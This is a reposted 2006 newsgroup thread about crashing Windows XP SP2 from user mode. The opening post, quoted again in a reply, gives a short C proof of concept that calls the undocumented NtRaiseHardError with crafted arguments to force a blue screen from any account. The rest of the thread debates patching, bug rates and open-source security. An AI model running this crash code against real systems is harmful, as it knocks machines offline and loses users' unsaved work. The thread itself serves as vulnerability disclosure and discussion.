 |
|
|
|
|
|
|
|
Windows内核调试
帖子发起人: Shirley 发起时间: 2006-05-01 11:22 上午 回复: 0
  
|
|
帖子排序:
|
|
|
|
 2006-05-01, 11:22 上午
|
Shirley
注册: 2006-03-04
发 贴: 7
|
关于使用NtRaiseHardError（未公开的API）摧毁Windows的讨论
|
|
|
|
|
| How to crash XP SP2 from user mode on ANY(!!!) account |
| Messages 1 - 25 of 28 in topic - view as tree Newer » |
 |
Hi guys
Anyone who wants to blue-screen on XP SP2 right from the user mode,
regardless of the account privileges, can try the following lines:
//////////
UNICODE_STRING str={8,10,L"test"};
ULONG x,args[]={0x11111111,0x11111111,(ULONG)&str};
typedef NTSTATUS (__stdcall*func)(NTSTATUS, ULONG,ULONG,PULONG,UINT,PULONG)
;
func NtRaiseHardError=(func)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtRaiseHardError");
NtRaiseHardError(0x50000018,3,4,args,1,&x);
/////
This is just one more proof of naiveity of the assumption that everything is
OK as long as you run on restricted account. As you can see, there is no
problem with crashing the system right from the user mode on the restricted
account whatsoever. I don't exclude the possibility that there is some other
yet unknown bug that may allow the attacker to elevate his/her privileges -
after all, no one and nothing is perfect
Regards
Anton Bassov
|
|
"anton bassov" <x ...@yyy.com> wrote in message ...
> allow the attacker to elevate his/her privileges -
> after all, no one and nothing is perfect
I am not experienced with most of the technicalities of Windows but a crash for any operating system means that an application can not do anything more, so a crash is not useful as a mechanism to elevate privileges.
If however you mean that it is the application crashing, not XP, then you
need to be more specific.
|
|
Hi mate
I am afraid you have missed the point. According to Microsoft, user-mode
applications haven't got a slightest chance of crashing the system, because
everything that they pass to the kernel-mode code gets validated. However,
if you run the above lines, you will see that this is not the case. In other
words, this is just a bug - in the above example the system "forgets" to
validate parameters, so that anyone who wants to blue-screen right from the
user mode can do it simply by supplying the "right" parameters.
When it comes to privilege elevation, all "buffer overflow" and "shatter"
attacks rely upon system's failure to validate parameters. In order to
handle such attacks, Microsoft claims to have introduced thorough parameter
validation - checking pointers that are passed to other applications,
checking array bounds and the amount of data that gets passed, etc. The
above example just illustrates that parameter validation is not as thorough
as Microsoft claims, so that,probably, some "buffer overflow" and "shatter"
attacks may still be successfull, despite all parameter checking.
Regards
Anton Bassov
|
|
Thanks for reporting this (in general though, if you think a bug has security implications, it's best to report it to MSRC team at https://www.microsoft.com/technet/security/bulletin/alertus.aspx).
I believe this particular crash has been fixed in Win2003 SP1.
--
This posting is provided "AS IS" with no warranties, and confers no
rights.
"anton bassov" wrote: > Hi guys
> Anyone who wants to blue-screen on XP SP2 right from the user mode,
> regardless of the account privileges, can try the following lines:
> //////////
> UNICODE_STRING str={8,10,L"test"};
> ULONG x,args[]={0x11111111,0x11111111,(ULONG)&str};
> typedef NTSTATUS (__stdcall*func)(NTSTATUS,
> ULONG,ULONG,PULONG,UINT,PULONG)
> ;
> func NtRaiseHardError=(func)GetProcAddress(GetModuleHandle("ntdll.dll"),
> "NtRaiseHardError");
> NtRaiseHardError(0x50000018,3,4,args,1,&x);
> /////
> This is just one more proof of naiveity of the assumption that everything
> is
> OK as long as you run on restricted account. As you can see, there is no
> problem with crashing the system right from the user mode on the
> restricted
> account whatsoever. I don't exclude the possibility that there is some
> other
> yet unknown bug that may allow the attacker to elevate his/her
> privileges -
> after all, no one and nothing is perfect
|
|
|
|
Hi Vladimir
As it follows from the message above, W2K3 SP1 has fixed it
In fact, I thought that this bug was specific only to XP SP2, so that I was
quite surprized to learn that different flavours of Windows may be crashed
this way
Regards
Anton Bassov
|
|
"anton bassov" <x ...@yyy.com> wrote in message ...
> Hi Vladimir
> As it follows from the message above, W2K3 SP1 has fixed it
> In fact, I thought that this bug was specific only to XP SP2, so that I
> was
> quite surprized to learn that different flavours of Windows may be crashed
> this way
> Regards
> Anton Bassov
I remember the days when XP SP2 was driven into BSOD from FireFox via typing a huge number of chars in address bar - it tend to the exception in GDI function (I don't remember which one exactly but I can recheck it later) and then BSOD ...
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
|
|
Hi Vladimir
At least now we have some "documentary proof" that we will be able to
present the next time we have to deal with ridiculous claims that, as long
as you run on the resticted account, your system is perfectly safe. As I can
see, there are plenty of people who just don't seem to have enough
"grayware" to understand that,first, MSFT code may have its bugs, and,
second, not all exploitable bugs that are discovered get reported. Let's
face it - if you are malware writer, would you report the exploitable bug
that you have discovered, or would you just exploit it without telling
anyone???? I am almost 100% sure that there is this or that way to elevate
privileges - after all, if some exploit is not known to general public, it
does not necessarily mean that your system is 100% safe, as some posters
claim
Regards
Anton Bassov
|
|
The fact that not all bugs (==holes) are get reported is almost true because most of exploitable bugs are found at the same time in different places (like in math and physics :) ). And often they are sold to malwriters or those who is making black buisness on adwares, spywares etc fields.
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"anton bassov" <x ...@yyy.com> wrote in message ...
> Hi Vladimir
> At least now we have some "documentary proof" that we will be able to
> present the next time we have to deal with ridiculous claims that, as long
> as you run on the resticted account, your system is perfectly safe. As I
> can
> see, there are plenty of people who just don't seem to have enough
> "grayware" to understand that,first, MSFT code may have its bugs, and,
> second, not all exploitable bugs that are discovered get reported. Let's
> face it - if you are malware writer, would you report the exploitable bug
> that you have discovered, or would you just exploit it without telling
> anyone???? I am almost 100% sure that there is this or that way to elevate
> privileges - after all, if some exploit is not known to general public, it
> does not necessarily mean that your system is 100% safe, as some posters
> claim
> Regards
> Anton Bassov
|
|
Due to MSFT data there are about 0.2 -0.4 bugs per 1000 loc ( lines of code ) after QA ( 10-20 before ) , so you can estimate ( due to ~60,000,000 lines of code in XP ) the number of bugs in it Arkady
"anton bassov" <x ...@yyy.com> wrote in message ...
> Hi Vladimir
> At least now we have some "documentary proof" that we will be able to
> present the next time we have to deal with ridiculous claims that, as long
> as you run on the resticted account, your system is perfectly safe. As I
> can
> see, there are plenty of people who just don't seem to have enough
> "grayware" to understand that,first, MSFT code may have its bugs, and,
> second, not all exploitable bugs that are discovered get reported. Let's
> face it - if you are malware writer, would you report the exploitable bug
> that you have discovered, or would you just exploit it without telling
> anyone???? I am almost 100% sure that there is this or that way to elevate
> privileges - after all, if some exploit is not known to general public, it
> does not necessarily mean that your system is 100% safe, as some posters
> claim
> Regards
> Anton Bassov
|
|
Hi Arcady
I would not use such logic. First of all, not bugs are exploitable (the one
we discuss here is just one example).
Second, and even more important, it really depends on what we call a bug. As
they say, all great discoveries are always made accidentally. I am afraid
here we deal with more or less the same situation.
For example, I don't think that someone was spending sleepless nights,
trying to do buffer overflow. Appearently, someone just accidentally
overwrote the return address, jumped to the middle of nowhere, got surprized
with the result, debugged the problem... and then realized that the same
thing can be done in more meaningfull way.
In other words, OS designers just have no way of knowing what and how may
get exploited, and hackers are normally in exactly the same position as well
- they are going to find vulnerability as a matter of accident, rather than
by intentional search(which,in most cases,proves to be fruitless). Therefore,
sometimes you would not say that some piece of code is buggy or vulnerable
until it gets exploited
To summarize, I think that relying upon some supposedly invincible
system-provided security feature is rather naive approach
Regards
Anton Bassov
|
|
anton bassov wrote: > Hi Arcady
> I would not use such logic. First of all, not bugs are exploitable
> (the one we discuss here is just one example).
> Second, and even more important, it really depends on what we call a
> bug. As they say, all great discoveries are always made accidentally.
> I am afraid here we deal with more or less the same situation.
> For example, I don't think that someone was spending sleepless nights,
> trying to do buffer overflow. Appearently, someone just accidentally
> overwrote the return address, jumped to the middle of nowhere, got
> surprized with the result, debugged the problem... and then realized
> that the same thing can be done in more meaningfull way.
I'm not so sure about that. I recall an article on sysinternals.com where Mark R. describes writing a program to systematically attack every single entry point in ntdll.dll. I'm sure mal-intentioned hackers have done the same, and do the same on an ongoing basis.
> In other words, OS designers just have no way of knowing what and how > may get exploited, and hackers are normally in exactly the same > position as well > - they are going to find vulnerability as a matter of accident, > rather than by intentional search(which,in most cases,proves to be > fruitless). Therefore, sometimes you would not say that some piece of > code is buggy or vulnerable until it gets exploited
> To summarize, I think that relying upon some supposedly invincible
> system-provided security feature is rather naive approach
Yep.
-cd
|
|
Hi Carl
What I actually meant is new TYPES (!!!) of attack - this is what normally
gets discovered accidentally, so that you just cannot foresee things like
that. Once you know what to do, you can already systematically probe all
places that you believe may be of interest, i.e. something what Mark
Russinovich did. However, at this point, it is already possible to make
provisions against this particular type of attack (because it is already
known), so that the code that does not make such provisions can already
qualify for being buggy
Regards
Anton Bassov
|
|
AFAIK there are about 1.5-2 testers for developer in MSFT ( as once Bill
Gates stand that MSFT's is huge test s/w house ) and they 're developing
code to test others ( OS ) code trying to find those types, you wrote about
Arkady
"anton bassov" <x ...@yyy.com> wrote in message ...
> Hi Carl
> What I actually meant is new TYPES (!!!) of attack - this is what normally
> gets discovered accidentally, so that you just cannot foresee things like
> that. Once you know what to do, you can already systematically probe all
> places that you believe may be of interest, i.e. something what Mark
> Russinovich did. However, at this point, it is already possible to make
> provisions against this particular type of attack (because it is already
> known), so that the code that does not make such provisions can already
> qualify for being buggy
> Regards
> Anton Bassov
|
|
"Carl Daniel [VC++ MVP]" <cpdaniel_remove_this_and_nos...@mvps.org.nospam>
wrote in
> I'm not so sure about that. I recall an article on sysinternals.com where
> Mark R. describes writing a program to systematically attack every single
> entry point in ntdll.dll. I'm sure mal-intentioned hackers have done the
> same, and do the same on an ongoing basis.
Actually, Mark R adapted a program that was developed at Carnegie Mellon called Crashme that originally targeted UNIX. Interesting thing was UNIX had cleaned up its act, when Mark ran it on Windows. I know Microsoft took a copy and uses it. The funny thing was 3 years ago, I found the original and threw it a the then current Red Hat Linux, 20 seconds later the system crashed with a totally mangled disk, just like Unix did when the program first came out almost 10 years before!
--
Don Burn (MVP, Windows DDK)
Windows 2k/XP/2k3 Filesystem and Driver Consulting
Remove StopSpam from the email to reply
|
|
Hi Don
As far as I know, "buffer overflow" has been first done on UNIX as
well(although this system is supposed to be much more reliable than Windows).
In other words, nothing is perfect, so that I am sure Vista is going to
have quite a few security "openings" - despite all MSFT claims
Regards
Anton Bassov
|
|
As far as I know, Unix and Linux are safer due to open source. I am not sure, but that probably applies to reliability too. Open source means that there is a greater pool of developers available to find problems, and to find malicious modifications/attacks. Commercial versions of Unix (I think) includes code that is not open source, but as far as I know most of the code for Unix is available in source code.
Buffer overflow/overrun is essentially a bug, right? I think Microsoft was
not as careful in the past but they have been forced to be more professional
about providing quality code. Obviosuly if they were too sloppy then Linux
would be even more popular.
Since Windows is in use as much as it is indicates that it is trusted. Some
people in this thread are trying to say that Windows is not reliable, but if
it was as vulnerable as people say, then it would not be trusted as much as
it is. Windows is potentially vulnerable, but the fact that it is not
expoited more than it is indicates it is not as vulnerable as some people
indicate.
Microsoft has become aware of the need to be careful and is obviously
implementing that requirement in their current developments.
"anton bassov" <x ...@yyy.com> wrote in message ...
> As far as I know, "buffer overflow" has been first done on UNIX as
> well(although this system is supposed to be much more reliable than
> Windows).
|
|
"anton bassov" <x ...@yyy.com> wrote in message ...
> This is just one more proof of naiveity
The main reason I posted my first reply is that the post was posted more as a dump on Microsoft than it was an effort to solve a problem in a productive manner. I think there is too much of unproductive dumping occurring.
Microsoft representative Pavel provided us with the preferred response.
|
|
"Sam Hobbs" <sam ...@social.rr.com_change_social_to_socal> wrote in message ...
> Buffer overflow/overrun is essentially a bug, right? I think Microsoft was
> not as careful in the past but they have been forced to be more
> professional about providing quality code. Obviosuly if they were too
> sloppy then Linux would be even more popular.
As of three years ago, there were a heck of a lot of buffer overflow exploits in Linux, and not very many in Windows. I haven't looked at the repesctive source code in parallel since then, but things Microsoft fixed in Win2k had the equivalent bug in Linux still present.
--
Don Burn (MVP, Windows DDK)
Windows 2k/XP/2k3 Filesystem and Driver Consulting
Remove StopSpam from the email to reply
|
|
Did you miss my point that a malicious attack is virtually impossible when the system crashes?
Do you know of any (just one is enough) example of Windows NT/2000/XP and
above working as designed that allows a user-mode application with only
normal privileges to crash the system?
Your point is that Windows has bugs. That is a valid point, but any
implication that Windows is designed in a manner that allows system crashes
is inaccurate. As far as bugs are concerned, the issue is the quantity that
are potential exploits and the efforts that Microsoft makes to fix them when
they are discovered.
To the extent that a bug is exploited maliciously, that is obviously a
problem.
"anton bassov" <x ...@yyy.com> wrote in message ...
> I am afraid you have missed the point. According to Microsoft, user-mode
> applications haven't got a slightest chance of crashing the system,
> because
> everything that they pass to the kernel-mode code gets validated. However,
> if you run the above lines, you will see that this is not the case. In
> other
> words, this is just a bug - in the above example the system "forgets" to
> validate parameters, so that anyone who wants to blue-screen right from
> the
> user mode can do it simply by supplying the "right" parameters.
|
|
Not to get into another flameware of unix/linux vs windows, but the greater pool of developer's theory has some holes in it. I read quite a few studies that showed that the vast major of developers and their eyeballs are working on new code, not the old code that can cause problems. So having a great many developers is great, but for it to be effective they need to be evenly distributed across the entire code base.
d
--
Please do not send e-mail directly to this alias. this alias is for
newsgroup purposes only.
This posting is provided "AS IS" with no warranties, and confers no rights.
"Sam Hobbs" <sam ...@social.rr.com_change_social_to_socal> wrote in message ...
> As far as I know, Unix and Linux are safer due to open source. I am not > sure, but that probably applies to reliability too. Open source means that > there is a greater pool of developers available to find problems, and to > find malicious modifications/attacks. Commercial versions of Unix (I > think) includes code that is not open source, but as far as I know most of > the code for Unix is available in source code.
> Buffer overflow/overrun is essentially a bug, right? I think Microsoft was
> not as careful in the past but they have been forced to be more
> professional about providing quality code. Obviosuly if they were too
> sloppy then Linux would be even more popular.
> Since Windows is in use as much as it is indicates that it is trusted.
> Some people in this thread are trying to say that Windows is not reliable,
> but if it was as vulnerable as people say, then it would not be trusted as
> much as it is. Windows is potentially vulnerable, but the fact that it is
> not expoited more than it is indicates it is not as vulnerable as some
> people indicate.
> Microsoft has become aware of the need to be careful and is obviously
> implementing that requirement in their current developments.
> "anton bassov" <x...@yyy.com> wrote in message
> news:524fe0feb39f464a88e15b08c5e82474@ureader.com...
>> As far as I know, "buffer overflow" has been first done on UNIX as
>> well(although this system is supposed to be much more reliable than
>> Windows).
|
|
Hi mate
I am afraid you just don't really know what you are talking about. Why do
you make this ridiculous statement about malicious attack at the time of
BSOD again and again???? After all, these two are totally independent things
-I really don't know what makes you believe they may be somehow related.
Now look at your following statement:
/////
Do you know of any (just one is enough) example of Windows NT/2000/XP and
above working as designed that allows a user-mode application with only
normal privileges to crash the system?
/////
This thread has been started off with such example, and this is what we
discuss here. How are we supposed to react to your question?????
I am afraid you have posted your messages for the sole purpose of posting
them - they don't ask any questions that are relevant to this particular
discussion
Regards
Anton Bassov
|
|
Anton,
You were the one who said "I don't exclude the possibility that there
is some other
yet unknown bug that may allow the attacker to elevate his/her privileges -
after all, no one and nothing is perfect". I concur nothing is perfect,
but a crash is a far thing from a security breach. Note, Multic's for years
had the highest security of any commercial system, it was regarded as
impossible to breach security, but a lot of people including Bill Gates
discovered ways to crash it.
--
Don Burn (MVP, Windows DDK)
Windows 2k/XP/2k3 Filesystem and Driver Consulting
Remove StopSpam from the email to reply
"anton bassov" <x ...@yyy.com> wrote in message ...
> Hi mate
> I am afraid you just don't really know what you are talking about. Why do
> you make this ridiculous statement about malicious attack at the time of
> BSOD again and again???? After all, these two are totally independent
> things
> -I really don't know what makes you believe they may be somehow related.
> Now look at your following statement:
> /////
> Do you know of any (just one is enough) example of Windows NT/2000/XP and
> above working as designed that allows a user-mode application with only
> normal privileges to crash the system?
> /////
> This thread has been started off with such example, and this is what we
> discuss here. How are we supposed to react to your question?????
> I am afraid you have posted your messages for the sole purpose of posting
> them - they don't ask any questions that are relevant to this particular
> discussion
> Regards
> Anton Bassov
|
|
Exploits are not easy to detect, I am sure there are a lot of open holes in XP SP2 the only problem is to find them. "One who searches - will find".
--
Vladimir
manage content: http://www.infostoria.com/
blog: http://thespoke.net/blogs/vladimir_scherbina/
"Arkady Frenkel" <arka ...@hotmailxdotx.com> wrote in message ...
> AFAIK there are about 1.5-2 testers for developer in MSFT ( as once Bill
> Gates stand that MSFT's is huge test s/w house ) and they 're developing
> code to test others ( OS ) code trying to find those types, you wrote
> about
> Arkady
> "anton bassov" <x...@yyy.com> wrote in message
> news:0f459e0e7d6341e5bfd7e7c1cc51906f@ureader.com...
>> Hi Carl
>> What I actually meant is new TYPES (!!!) of attack - this is what
>> normally
>> gets discovered accidentally, so that you just cannot foresee things like
>> that. Once you know what to do, you can already systematically probe all
>> places that you believe may be of interest, i.e. something what Mark
>> Russinovich did. However, at this point, it is already possible to make
>> provisions against this particular type of attack (because it is already
>> known), so that the code that does not make such provisions can already
>> qualify for being buggy
>> Regards
>> Anton Bassov
|
|
Yes, increasing the number of "man-moon" does not make code of your project stable, because you need to study new developers what have done, etc. They cannot imagine all architecture just at once. This is the major problem
-- |
|
|
|
|
IP 地址: 已记录
|
报告
|
|
|
|
|
高端调试 » 软件调试 » Windows内核调试 » 关于使用NtRaiseHardError（未公开的API）摧毁Windows的讨论
|
|
|
|
|
|